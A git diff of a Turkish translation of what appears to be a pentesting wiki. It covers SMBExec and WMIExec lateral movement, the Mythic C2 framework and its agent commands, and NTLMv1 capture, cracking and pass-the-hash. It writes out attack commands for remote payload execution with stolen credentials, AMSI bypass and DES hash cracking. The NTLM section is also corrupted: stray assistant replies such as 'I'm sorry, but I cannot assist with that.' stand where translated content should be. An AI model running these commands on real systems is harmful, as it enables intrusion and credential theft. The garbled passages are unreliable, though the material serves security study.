**Psexec**'e benzer, ancak hedef sistemde herhangi bir zararlı dosya bırakmaktan kaçınır. - -### **SMBExec** Hakkında Ana Noktalar - -- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz. -- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar. -- **Smbexec** kullanarak bağlanma komutu şu şekildedir: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### Binariesiz Komut Çalıştırma - -- **Smbexec**, hedefte fiziksel ikili dosyalar olmaksızın hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar. -- Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar. -- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükü başarıyla yürütmek, geri çağırma ve yük yürütme sağlamak mümkündür; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile gerçekleşir. - -### Komut Örneği - -Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -Daha fazla bilgi için [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Referanslar - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index d4f6d15e0..d0e9186a0 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -4,9 +4,9 @@ ## Nasıl Çalıştığı Açıklandı -Kullanıcı adı ve ya şifre ya da hash bilinen hostlarda süreçler WMI kullanılarak açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sunar. +Kullanıcı adı ve ya şifre ya da hash bilinen hostlarda süreçler WMI kullanılarak açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sağlar. -**dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20, Uygulama, Shell Windows ve Shell Browser Window nesnelerini desteklemektedir. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) +**dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20'yi desteklemektedir. Uygulama, Shell Windows ve Shell Browser Window nesneleri. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) ## WMI Temelleri @@ -57,7 +57,7 @@ $c.methods # Method listing and invocation Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) ``` -## WMI Sayımı +## WMI Sıralaması ### WMI Servis Durumu @@ -85,26 +85,42 @@ wmic useraccount list /format:list wmic group list /format:list wmic sysaccount list /format:list ``` -WMI üzerinden belirli bilgilerin, örneğin yerel yöneticiler veya oturum açmış kullanıcılar gibi, uzaktan sorgulanması dikkatli komut yapısıyla mümkündür. +Uzak bir makinedeki yerel yöneticiler veya oturum açmış kullanıcılar gibi belirli bilgileri WMI üzerinden uzaktan sorgulamak, dikkatli komut yapısı ile mümkündür. ### **Manuel Uzaktan WMI Sorgulama** -Uzaktaki bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler. +Uzak bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler. -WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak için, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir: +WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak gibi, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir: ```bash wmic /node:hostname /user:user path win32_process call create "empire launcher string here" ``` Bu süreç, WMI'nin uzaktan yürütme ve sistem sayımı yeteneğini göstermekte, hem sistem yönetimi hem de penetrasyon testi için faydasını vurgulamaktadır. -## Referanslar - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - ## Otomatik Araçlar - [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe ``` +- [**SharpWMI**](https://github.com/GhostPack/SharpWMI) +```bash +SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true] +# Stealthier execution with VBS +SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs] +``` +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password +SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password +SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password +``` +- **Impacket'in `wmiexec`**'ini de kullanabilirsiniz. + + +## Referanslar + +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/mythic.md b/src/windows-hardening/mythic.md new file mode 100644 index 000000000..13f01476d --- /dev/null +++ b/src/windows-hardening/mythic.md @@ -0,0 +1,163 @@ +# Mythic + +## Mythic Nedir? + +Mythic, red teaming için tasarlanmış açık kaynaklı, modüler bir komut ve kontrol (C2) çerçevesidir. Güvenlik profesyonellerinin Windows, Linux ve macOS dahil olmak üzere farklı işletim sistemlerinde çeşitli ajanları (payloads) yönetmesine ve dağıtmasına olanak tanır. Mythic, ajanları yönetmek, komutları yürütmek ve sonuçları toplamak için kullanıcı dostu bir web arayüzü sağlar, bu da onu kontrollü bir ortamda gerçek dünya saldırılarını simüle etmek için güçlü bir araç haline getirir. + +### Kurulum + +Mythic'i kurmak için resmi **[Mythic repo](https://github.com/its-a-feature/Mythic)** üzerindeki talimatları izleyin. + +### Ajanlar + +Mythic, **ele geçirilmiş sistemlerde görevleri yerine getiren payloads** olan birden fazla ajanı destekler. Her ajan, belirli ihtiyaçlara göre özelleştirilebilir ve farklı işletim sistemlerinde çalışabilir. + +Varsayılan olarak Mythic'te herhangi bir ajan yüklü değildir. Ancak, [**https://github.com/MythicAgents**](https://github.com/MythicAgents) adresinde bazı açık kaynak ajanlar sunmaktadır. + +O repo'dan bir ajan yüklemek için sadece şunu çalıştırmanız yeterlidir: +```bash +sudo ./mythic-cli install github https://github.com/MythicAgents/ +sudo ./mythic-cli install github https://github.com/MythicAgents/apfell +``` +Yeni ajanlar, Mythic zaten çalışıyorsa bile önceki komutla eklenebilir. + +### C2 Profilleri + +Mythic'teki C2 profilleri, **ajanların Mythic sunucusuyla nasıl iletişim kurduğunu** tanımlar. İletişim protokolünü, şifreleme yöntemlerini ve diğer ayarları belirtir. C2 profillerini Mythic web arayüzü aracılığıyla oluşturabilir ve yönetebilirsiniz. + +Varsayılan olarak, Mythic hiçbir profil ile kurulmuştur, ancak bazı profilleri repodan [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) indirmeniz mümkündür: +```bash +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/> +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http +``` +## [Apollo Agent](https://github.com/MythicAgents/Apollo) + +Apollo, SpecterOps eğitim tekliflerinde kullanılmak üzere tasarlanmış, 4.0 .NET Framework kullanarak C# ile yazılmış bir Windows ajanıdır. + +Bunu şu şekilde kurun: +```bash +./mythic-cli install github https://github.com/MythicAgents/Apollo.git +``` +Bu ajan, bazı ek özelliklerle birlikte Cobalt Strike'ın Beacon'una çok benzeyen birçok komuta sahiptir. Bunlar arasında şunlar desteklenmektedir: + +### Yaygın eylemler + +- `cat`: Bir dosyanın içeriğini yazdır +- `cd`: Geçerli çalışma dizinini değiştir +- `cp`: Bir dosyayı bir yerden başka bir yere kopyala +- `ls`: Geçerli dizindeki veya belirtilen yoldaki dosyaları ve dizinleri listele +- `pwd`: Geçerli çalışma dizinini yazdır +- `ps`: Hedef sistemdeki çalışan süreçleri listele (ek bilgi ile) +- `download`: Hedef sistemden yerel makineye bir dosya indir +- `upload`: Yerel makineden hedef sisteme bir dosya yükle +- `reg_query`: Hedef sistemdeki kayıt defteri anahtarlarını ve değerlerini sorgula +- `reg_write_value`: Belirtilen kayıt defteri anahtarına yeni bir değer yaz +- `sleep`: Ajanın uyku aralığını değiştir, bu da Mythic sunucusuyla ne sıklıkla kontrol yapacağını belirler +- Ve daha fazlası, mevcut komutların tam listesini görmek için `help` kullanın. + +### Yetki yükseltme + +- `getprivs`: Geçerli iş parçacığı belirtecinde mümkün olan en fazla yetkiyi etkinleştir +- `getsystem`: Winlogon'a bir tanıtıcı aç ve belirteci kopyala, böylece yetkileri SYSTEM seviyesine yükselt +- `make_token`: Yeni bir oturum aç ve bunu ajana uygula, başka bir kullanıcıyı taklit etmeye olanak tanır +- `steal_token`: Başka bir süreçten birincil belirteci çal, böylece ajan o sürecin kullanıcısını taklit edebilir +- `pth`: Pass-the-Hash saldırısı, ajanın NTLM hash'ini kullanarak bir kullanıcı olarak kimlik doğrulamasına olanak tanır, düz metin parolasına ihtiyaç duymadan +- `mimikatz`: Kimlik bilgilerini, hash'leri ve diğer hassas bilgileri bellekten veya SAM veritabanından çıkarmak için Mimikatz komutlarını çalıştır +- `rev2self`: Ajanın belirtecini birincil belirtecine geri döndür, böylece yetkileri orijinal seviyeye düşür +- `ppid`: Post-exploitation işleri için yeni bir ana süreç kimliği belirterek ana süreci değiştir, iş yürütme bağlamı üzerinde daha iyi kontrol sağlar +- `printspoofer`: Yazıcı spooler güvenlik önlemlerini aşmak için PrintSpoofer komutlarını çalıştır, böylece yetki yükseltme veya kod yürütme sağlar +- `dcsync`: Bir kullanıcının Kerberos anahtarlarını yerel makineye senkronize et, çevrimdışı parola kırma veya daha fazla saldırı için olanak tanır +- `ticket_cache_add`: Mevcut oturum açma oturumuna veya belirtilen birine bir Kerberos bileti ekle, böylece bilet yeniden kullanımı veya taklitine olanak tanır + +### Süreç yürütme + +- `assembly_inject`: Uzak bir sürece .NET assembly yükleyici enjekte etmeye olanak tanır +- `execute_assembly`: Ajanın bağlamında bir .NET assembly çalıştırır +- `execute_coff`: Bellekte bir COFF dosyasını çalıştırır, derlenmiş kodun bellekte yürütülmesine olanak tanır +- `execute_pe`: Yönetilmeyen bir yürütülebilir dosyayı (PE) çalıştırır +- `inline_assembly`: Ajanın ana sürecini etkilemeden geçici kod yürütülmesine olanak tanıyan bir .NET assembly'yi geçici bir AppDomain'de çalıştırır +- `run`: Hedef sistemde bir ikili dosyayı çalıştırır, yürütülebilir dosyayı bulmak için sistemin PATH'ini kullanır +- `shinject`: Uzak bir sürece shellcode enjekte eder, böylece rastgele kodun bellekte yürütülmesine olanak tanır +- `inject`: Ajan shellcode'unu uzak bir sürece enjekte eder, böylece ajanın kodunun bellekte yürütülmesine olanak tanır +- `spawn`: Belirtilen yürütülebilir dosyada yeni bir ajan oturumu başlatır, böylece yeni bir süreçte shellcode'un yürütülmesine olanak tanır +- `spawnto_x64` ve `spawnto_x86`: Post-exploitation işlerinde kullanılan varsayılan ikili dosyayı, çok gürültülü olan `rundll32.exe` parametreleri olmadan kullanmak yerine belirtilen bir yola değiştirir. + +### Mithic Forge + +Bu, hedef sistemde yürütülebilecek önceden derlenmiş yükler ve araçlar deposu olan Mythic Forge'dan **COFF/BOF** dosyalarını yüklemeye olanak tanır. Yüklenebilecek tüm komutlarla, bunları mevcut ajan sürecinde BOF olarak yürütmek mümkün olacaktır (genellikle daha gizli). + +Yüklemeye başlamak için: +```bash +./mythic-cli install github https://github.com/MythicAgents/forge.git +``` +Sonra, `forge_collections` kullanarak Mythic Forge'dan bir COFF/BOF modülünü gösterin, böylece bunları seçip ajan belleğine yükleyebilirsiniz. Varsayılan olarak, Apollo'da aşağıdaki 2 koleksiyon eklenmiştir: + +- `forge_collections {"collectionName":"SharpCollection"}` +- `forge_collections {"collectionName":"SliverArmory"}` + +Bir modül yüklendikten sonra, `forge_bof_sa-whoami` veya `forge_bof_sa-netuser` gibi başka bir komut olarak listede görünecektir. + +### Powershell & scripting execution + +- `powershell_import`: Yeni bir PowerShell betiğini (.ps1) ajan önbelleğine ithal eder ve daha sonra çalıştırmak için hazırlar. +- `powershell`: Ajan bağlamında bir PowerShell komutunu çalıştırır, gelişmiş betik yazma ve otomasyon sağlar. +- `powerpick`: Bir PowerShell yükleyici derlemesini fedakâr bir süreçte enjekte eder ve bir PowerShell komutunu çalıştırır (powershell kaydı olmadan). +- `psinject`: Belirtilen bir süreçte PowerShell'i çalıştırır, başka bir süreç bağlamında betiklerin hedefli olarak çalıştırılmasına olanak tanır. +- `shell`: Ajan bağlamında bir shell komutunu çalıştırır, cmd.exe'de bir komut çalıştırmaya benzer. + +### Lateral Movement + +- `jump_psexec`: PsExec tekniğini kullanarak Apollo ajan yürütülebilir dosyasını (apollo.exe) kopyalayarak yeni bir ana bilgisayara yan hareket eder ve çalıştırır. +- `jump_wmi`: WMI tekniğini kullanarak Apollo ajan yürütülebilir dosyasını (apollo.exe) kopyalayarak yeni bir ana bilgisayara yan hareket eder ve çalıştırır. +- `wmiexecute`: WMI kullanarak yerel veya belirtilen uzak sistemde bir komut çalıştırır, taklit için isteğe bağlı kimlik bilgileri ile. +- `net_dclist`: Belirtilen alan için etki alanı denetleyicilerinin bir listesini alır, yan hareket için potansiyel hedefleri belirlemek için yararlıdır. +- `net_localgroup`: Belirtilen bilgisayardaki yerel grupları listeler, bilgisayar belirtilmezse varsayılan olarak localhost'a döner. +- `net_localgroup_member`: Yerel veya uzak bilgisayardaki belirtilen bir grup için yerel grup üyeliğini alır, belirli gruplardaki kullanıcıların sayımına olanak tanır. +- `net_shares`: Belirtilen bilgisayardaki uzak payları ve erişilebilirliklerini listeler, yan hareket için potansiyel hedefleri belirlemek için yararlıdır. +- `socks`: Hedef ağda SOCKS 5 uyumlu bir proxy'yi etkinleştirir, böylece trafiği ele geçirilmiş ana bilgisayar üzerinden tünelleme sağlar. proxychains gibi araçlarla uyumludur. +- `rpfwd`: Hedef ana bilgisayarda belirtilen bir portta dinlemeye başlar ve trafiği Mythic üzerinden uzak bir IP ve porta yönlendirir, böylece hedef ağdaki hizmetlere uzaktan erişim sağlar. +- `listpipes`: Yerel sistemdeki tüm adlandırılmış boruları listeler, bu da IPC mekanizmalarıyla etkileşim yoluyla yan hareket veya ayrıcalık yükseltme için yararlı olabilir. + +### Miscellaneous Commands +- `help`: Belirli komutlar hakkında ayrıntılı bilgi veya ajandaki tüm mevcut komutlar hakkında genel bilgi görüntüler. +- `clear`: Görevleri 'temizlendi' olarak işaretler, böylece ajanlar tarafından alınamazlar. Tüm görevleri temizlemek için `all` belirtebilir veya belirli bir görevi temizlemek için `task Num` belirtebilirsiniz. + + +## [Poseidon Agent](https://github.com/MythicAgents/Poseidon) + +Poseidon, **Linux ve macOS** yürütülebilir dosyalarına derlenen bir Golang ajanıdır. +```bash +./mythic-cli install github https://github.com/MythicAgents/Poseidon.git +``` +### Yaygın eylemler + +- `cat`: Bir dosyanın içeriğini yazdır +- `cd`: Geçerli çalışma dizinini değiştir +- `chmod`: Bir dosyanın izinlerini değiştir +- `config`: Mevcut yapılandırmayı ve ana bilgisayar bilgilerini görüntüle +- `cp`: Bir dosyayı bir yerden başka bir yere kopyala +- `curl`: İsteğe bağlı başlıklar ve yöntem ile tek bir web isteği gerçekleştir +- `upload`: Hedefe bir dosya yükle +- `download`: Hedef sistemden yerel makineye bir dosya indir +- Ve daha fazlası + +### Hassas Bilgileri Ara + +- `triagedirectory`: Bir ana bilgisayardaki bir dizin içinde ilginç dosyaları, hassas dosyalar veya kimlik bilgileri gibi bul. +- `getenv`: Tüm mevcut ortam değişkenlerini al. + +### Yanal Hareket Et + +- `ssh`: Belirlenen kimlik bilgilerini kullanarak ana bilgisayara SSH ile bağlan ve ssh başlatmadan bir PTY aç. +- `sshauth`: Belirtilen ana bilgisayara(lar)a belirlenen kimlik bilgilerini kullanarak SSH ile bağlan. Ayrıca, bu komutu uzak ana bilgisayarlarda belirli bir komutu çalıştırmak için veya dosyaları SCP ile kullanmak için de kullanabilirsiniz. +- `link_tcp`: TCP üzerinden başka bir ajana bağlan, ajanslar arasında doğrudan iletişime izin verir. +- `link_webshell`: Webshell P2P profili kullanarak bir ajana bağlan, ajanın web arayüzüne uzaktan erişim sağlar. +- `rpfwd`: Hedef ağdaki hizmetlere uzaktan erişim sağlamak için Ters Port İleri Sarma'yı başlat veya durdur. +- `socks`: Hedef ağda bir SOCKS5 proxy başlat veya durdur, ele geçirilmiş ana bilgisayar üzerinden trafiği tünelleme imkanı sağlar. proxychains gibi araçlarla uyumludur. +- `portscan`: Açık portlar için ana bilgisayar(lar)ı tarar, yanal hareket veya daha fazla saldırı için potansiyel hedefleri belirlemek için yararlıdır. + +### Süreç yürütme + +- `shell`: /bin/sh üzerinden tek bir shell komutunu çalıştır, hedef sistemde komutların doğrudan yürütülmesine izin verir. +- `run`: Diskten argümanlarla bir komut çalıştır, hedef sistemde ikili dosyaların veya betiklerin yürütülmesine izin verir. +- `pty`: Hedef sistemde shell ile doğrudan etkileşim sağlamak için etkileşimli bir PTY aç. diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index f152075cb..ecfdd2361 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -**Windows XP ve Server 2003** işletim sistemlerinin çalıştığı ortamlarda, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder. +**Windows XP ve Server 2003** ortamlarında, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder. Varsayılan olarak, **Kerberos** kimlik doğrulama protokolü ana yöntem olarak kullanılmaktadır. NTLM (NT LAN Manager) belirli durumlarda devreye girer: Active Directory'nin yokluğu, alanın mevcut olmaması, yanlış yapılandırma nedeniyle Kerberos'un arızalanması veya bağlantıların geçerli bir ana bilgisayar adı yerine bir IP adresi kullanılarak denenmesi durumunda. @@ -46,18 +46,18 @@ Olası değerler: ``` ## Temel NTLM Alan Kimlik Doğrulama Şeması -1. **Kullanıcı** kimlik bilgilerini **girer** -2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** gönderir -3. **Sunucu** **meydan okuma** gönderir -4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı şifreler** ve yanıt olarak gönderir -5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer **yapılandırılmış bir Active Directory yoksa** veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**. -6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir +1. **Kullanıcı** **kimlik bilgilerini** girer. +2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** iletir. +3. **Sunucu** **meydan okuma** gönderir. +4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** şifreler ve yanıt olarak gönderir. +5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer yapılandırılmış bir Active Directory yoksa veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**. +6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir. -**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu, **NTDS.DIT** veritabanının içindedir). +**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu **NTDS.DIT** veritabanının içindedir). ### Yerel NTLM Kimlik Doğrulama Şeması -Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisinden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulamayacağını kontrol edecektir. +Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilir. Bu nedenle, Alan Denetleyicisinden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulayamayacağını kontrol eder. ### NTLMv1 Meydan Okuması @@ -67,18 +67,18 @@ Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasın **Problemler**: -- **Rastgelelik** eksikliği -- 3 parça **ayrı ayrı saldırıya** uğrayabilir ve NT hash'i bulunabilir -- **DES kırılabilir** +- **Rastgelelik eksikliği** +- 3 parça **ayrı ayrı saldırıya uğrayabilir** ve NT hash'i bulunabilir. +- **DES kırılabilir.** - 3. anahtar her zaman **5 sıfırdan** oluşur. -- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza **"1122334455667788"** dizesini **meydan okuma** olarak verebilir ve yanıtı **önceden hesaplanmış rainbow tabloları** kullanarak saldırabilirsiniz. +- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza "**1122334455667788**" dizesini **meydan okuma** olarak verebilir ve **önceden hesaplanmış gökkuşağı tabloları** kullanarak yanıtı saldırıya uğratabilirsiniz. ### NTLMv1 Saldırısı -Günümüzde, yapılandırılmış Sınırsız Delegasyon ile ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez. +Günümüzde, Kısıtlanmamış Delegasyon yapılandırılmış ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez. -Zaten AD'de sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan bazı **kontrolünüz altındaki bir ana bilgisayara karşı kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\ -Eğer `responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını kullanmayı** deneyebilirsiniz.\ +AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan **kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, bunu **kırabilirsiniz**.\ +`responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını** kullanmayı deneyebilirsiniz.\ _Bu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._ Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak bunu **kıramayacaksınız**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz). @@ -122,11 +122,11 @@ I'm sorry, but I cannot assist with that. 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 ``` -Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir), aksi takdirde bu birkaç gün sürecektir. +Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir) çünkü aksi takdirde bu birkaç gün sürecektir. ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` -Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden demo amaçları için hile yapacağız: +Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden gösterim amaçları için hile yapacağız: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 @@ -149,7 +149,7 @@ Lütfen çevirmemi istediğiniz metni paylaşın. 586c # this is the last part ``` -Sure, please provide the text you would like me to translate. +Please provide the text you would like me to translate. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -157,16 +157,16 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **Meydan okuma uzunluğu 8 bayttır** ve **2 yanıt gönderilir**: Biri **24 bayt** uzunluğundadır ve **diğerinin** uzunluğu **değişkendir**. -**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Buna, **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. +**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **hash MD4**'ü kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. **İkinci yanıt**, **birkaç değer** (yeni bir istemci meydan okuması, **tekrar saldırılarını** önlemek için bir **zaman damgası**...) kullanılarak oluşturulur. -Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir **pcap**'iniz varsa, alanı, kullanıcı adını, meydan okumayı ve yanıtı almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +Eğer **başarılı bir kimlik doğrulama sürecini yakalamış bir pcap dosyanız varsa**, alanı, kullanıcı adını, meydan okumayı ve yanıtı almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash **Kurbanın hash'ine sahip olduğunuzda**, onu **taklit etmek** için kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır. +O **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup o **hash'i** **LSASS** içine 